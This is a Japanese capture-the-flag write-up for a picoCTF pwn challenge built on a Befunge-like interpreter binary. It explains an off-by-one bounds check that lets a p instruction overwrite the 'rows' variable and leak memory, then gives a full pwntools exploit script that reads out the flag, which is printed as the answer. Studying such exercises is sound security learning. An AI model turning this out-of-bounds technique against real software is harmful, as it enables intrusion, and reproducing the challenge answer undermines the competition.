pwnの400点問題です。問題の説明は簡潔で、バイナリをやるから頑張って解いてね、という感じの問題です。バイナリの挙動を読み解くのがおっくうで放置していましたが、最近解けたのでwriteupを書いていこうと思います。なにかおかしいところやアドバイスなどあれば気軽にコメントしてください。それでは、やっていこー。
まずは、バイナリをGhidraで解析する。(このバイナリはnot strippedなのでグローバル変数名などがわかって、逆アセンブルを読むのが少し楽ですね。)main関数の処理はこんな感じ。
- flagというグローバル変数にフラグの文字列らしきものをコピーする。
- 0x16文字以下の入力を4回受け取る。boardというグローバル変数は、1100(0x32✕0x16)bytesのメモリ領域(readelf -sなどで確かめられる)で、入力した文字列はこの領域の上の4行に書き込まれる。
- stepという関数を0が返ってくるまで何度も続ける。
どうやらstepという関数がどんなことをしているのか理解する必要がありそう。ということで、Ghidraの逆アセンブル結果を見てみると非常に長いコードが出てきてビビる。(前回もこの長さを見て諦めました。)最初の方はこんな感じ。
undefined8 step(void)
{
long lVar1;
switch(board[(long)pcy * 0x16 + (long)pcx]) {
case 0x21:
if (sn < 1) {
/* WARNING: Subroutine does not return */
__assert_fail("sn >= 1","homework.c",0x35,(char *)&__PRETTY_FUNCTION__.0);
}
*(uint *)(stack + (long)(sn + -1) * 4) = (uint)(*(int *)(stack + (long)(sn + -1) * 4) == 0);
break;
default:
if (board[(long)pcy * 0x16 + (long)pcx] == '0') {
if (99 < sn) {
/* WARNING: Subroutine does not return */
__assert_fail("sn < 100","homework.c",0x81,(char *)&__PRETTY_FUNCTION__.0);
}
lVar1 = (long)sn;
sn = sn + 1;
*(undefined4 *)(stack + lVar1 * 4) = 0;
}
break;
case 0x24:
落ち着いて読んでみると、pcxとpcyというグローバル変数があり、board[pcy][pcx]に書かれた文字によって処理を選択しているらしい。どんな処理をさせるかは、最初の標準入力で与えた文字列で指定することができるわけだ。switch文の一番最初にある「!(0x21)」の処理を見ると、snとstackという2つのグローバル変数が使われている。stackってあのstackか、と思いながらとりあえず他の処理も眺めてみると、文字によってstackをいじるものやそうでないものがある。
一番わかりやすかったのが「> < ^ v」の処理で、グローバル変数dirx, diryの値を変更するものになっている。この4文字は矢印のように見れて、その向きにベクトル(dirx, diry)を向けるといった感じ。このdirxとdiryはstep関数の最後の方で以下のように使われており、boardの中で次に進む方向を示していることが分かった。
pcx = (pcx + dirx + cols) % cols;
pcy = (pcy + diry + rows) % rows;
他の処理も見てみると、グローバル変数のstackとsnは以下のように見てあげれば良さそう。
- stack: 32bit環境のスタック
- sn: スタックポインタ
step関数内で特殊な処理をする文字たちを(全部ではないが)まとめる。stackはint型の配列と思えばいい。snは次にpushする場所を表しているので、直近でpushされた要素はstack[sn – 1], stack[sn – 2]のように表される。
0 | push 0 |
! | pop x push (x == 0) |
+ | pop x pop y push (y + x) |
* | pop x pop y push (y * x) |
: | push stack[sn – 1] |
\ | swap(stack[sn – 1], stack[sn – 2]) |
` | pop x pop y push (x < y) |
g | pop y pop x if (0 <= x <= 0x16 && 0 <= y <= 0x32) then push board[y][x] |
p | pop y pop x pop u if (0 <= x <= 0x16 && 0 <= y <= 0x32) then board[y][x] = u |
@ | exit |
, | pop x putchar(x) |
. | pop x printf(“%d”, x) |
他にもいくつかあるが、基本的なところだとこんな感じだろう。\の処理は、ソースコードではxorを駆使していて分かりづらいかもしれない。実際の処理は以下のようになっていて、同じものをxorすると0になるという性質が分かっていると理解しやすいと思う。(競プロとかで頻出ですね、、。)
stack[sn - 1] ^= stack[sn - 2];
stack[sn - 2] ^= stack[sn - 1];
stack[sn - 1] ^= stack[sn - 2];
こんな感じで理解できてくると、どんな入力文字を与えれば良いかが分かってくる。入力文字列として例えば、0!とすればこれはpush 1と同等である(dirx=1, diry=0と初期値が設定されており、読み込み時は右に進んでいくことになっている)。他にも、なるべく短い文字列で(もっと短いものもあると思うが)push nを達成するような文字列は以下のものが挙げられる。
n: 文字列(左から右へ進んでいくものとする)
0: 0
1: 0!
2: 0!:+
3: 0!::++
4: 0!:+:+
5: 0!::+:++
6: 0!:+::++
7: 0!::+::+++
8: 0!:+:+:+
9: 0!::++:*
10: 0!::+:++:+
11: 0!:::+:++:++
12: 0!:+::++:+
13: 0!::+::++:++
14: 0!::+::+++:+
15: 0!::+:++::++
16: 0!:+:*:*
17: 0!::+:*:*+
18: 0!::++:*:+
19: 0!:::++:*:++
20: 0!::+:++:+:+
21: 0!:::+:++:+:++
ここまできてプログラムの理解はできたが、どこを攻撃すればいいのかで悩んだ。フラグはすでにメモリ上に展開されているのでシェルを奪うような感じではないだろうし、入出力は特に問題ないし、house of orangeみたいに__assert_fail内のabort関数のようなものを狙うにしてもメモリを書き込むのがそもそもできないし、。
いくらかコードとにらめっこして見て分かったことは、g命令やp命令を処理するところにoff-by-oneエラーが存在しているということ。board[y][x]にアクセスする時にx, yの大小関係を確認しているが、0 <= x < 0x16でなければならないところを0 <= x <= 0x16にしている。よって、本来アクセスできる領域よりもほんの少し遠くまでアクセスできるようになっている。具体的には、boardのサイズは0x440bytesであったが、実際には0x32 * 0x16 * 0x16 = 0x462までアクセスすることができる。
boardからflagまでの距離は0x480で届かないが、boardの領域のすぐ後ろにグローバル変数rows(ボードの縦の長さを格納し、境界条件に使われる)があるので、ここを書き換えることでより遠くまでアクセスできるようにする。rowsの書き換えには、pが適しているだろう。pを実行する直前のスタックの状態を以下のようにすると、rowsの値をuに書き換えることができる。(rowsのアドレス = boardのアドレス + 0x32 * 0x16なので)
|-------------|
| 0x32 |
|-------------|
| 0 |
|-------------|
| u |
|-------------|
uにはなるべく大きな値を設定したいが、それには以下の文字列が適している。これは、スタックに0と1を順にpushし、-命令で0と1をpopし、0-1=0xffffffffをpushする。
00!-
stackに0x32[=50]をpushするのは、以下の文字列が良さそう。(入力文字列が限られているので、なるべく短いものが望ましいなと思ったり、、。)
0!::+::+++:*0!+
これは、スタックに7を作って2乗し1を足す、といった処理。今回のpayloadは0x16文字以内に収まるものが見つからなかったので、矢印命令><^vを駆使して2行目以降も利用していくことにした。p命令でrowsを0xffに書き換えた後は、g命令と,命令を駆使して出力させれば良く、にたような感じでできる。実際の攻撃では、一回の接続ごとに1文字をリークさせ、複数回接続することでフラグを読み出した。
フラグ: picoCTF{good_job_full_score_X7OIj4HI903RG2YO}
解いた感想としては、実際のpayloadを考えてみると3行に収まったので制約をもう少し厳しくしても良かったのかな〜と思ったりしました。もし2行で書ききれるのならすごいな、と思いますがそこら辺を突き詰めていくのは別の競技になる気もします。。この問題を解いている人がかなり少なかったので、この記事が誰かの役に立てればいいなぁと思います。終わり!
from pwn import *
"""
・スタックに0xffffffffを作成する方法
00!-
・スタックに0x32(50)を作成する方法
0!:+::::++\:+:+*+ (48作って2足す)
0!::+::+++:*0!+ (7作って49にして1足す)
・rowsを0xffに書き換える方法(Aの部分は自由に書き換えられる)
0!::+::+++:*0!+:00!-v
\0\pAAAAAAAAAAAAAAAA>
・0x21までの数をpushする方法
0: 0
1: 0!
2: 0!:+
3: 0!::++
4: 0!:+:+
5: 0!::+:++
6: 0!:+::++
7: 0!::+::+++
8: 0!:+:+:+
9: 0!::++:*
10: 0!::+:++:+
11: 0!:::+:++:++
12: 0!:+::++:+
13: 0!::+::++:++
14: 0!::+::+++:+
15: 0!::+:++::++
16: 0!:+:*:*
17: 0!::+:*:*+
18: 0!::++:*:+
19: 0!:::++:*:++
20: 0!::+:++:+:+
21: 0!:::+:++:+:++
"""
# 最大14文字
codes = [
"0",
"0!",
"0!:+",
"0!::++",
"0!:+:+",
"0!::+:++",
"0!:+::++",
"0!::+::+++",
"0!:+:+:+",
"0!::++:*",
"0!::+:++:+",
"0!:::+:++:++",
"0!:+::++:+",
"0!::+::++:++",
"0!::+::+++:+",
"0!::+:++::++",
"0!:+:*:*",
"0!::+:*:*+",
"0!::++:*:+",
"0!:::++:*:++",
"0!::+:++:+:+",
"0!:::+:++:+:++",
]
def attack(x, dy):
"""
board[0x32 + dy][x]の文字を取得する攻撃
dy < 7を想定
"""
host, port = "mars.picoctf.net", 31689
# conn = process("./homework")
conn = remote(host, port)
conn.recvline()
payload = b"0!::+::+++:*0!+:00!-v\n"
payload += f"\\0\\p{codes[dy]:A<14}+v>\n".encode()
payload += f"{codes[x]:A<14}\\g,@A>A\n".encode()
payload += b"\n"
print(payload.decode())
conn.send(payload)
return conn.recvall().decode()[-1]
ans = ""
for x in range(8, 0x16):
sleep(2)
c = attack(x, 2)
ans += c
print(ans)
for x in range(0x16):
sleep(2)
c = attack(x, 3)
ans += c
print(ans)
for x in range(0x16):
sleep(2)
c = attack(x, 4)
ans += c
print(ans)
print(ans)
"""
フラグゲット
picoCTF{good_job_full_score_X7OIj4HI903RG2YO}
"""
コメント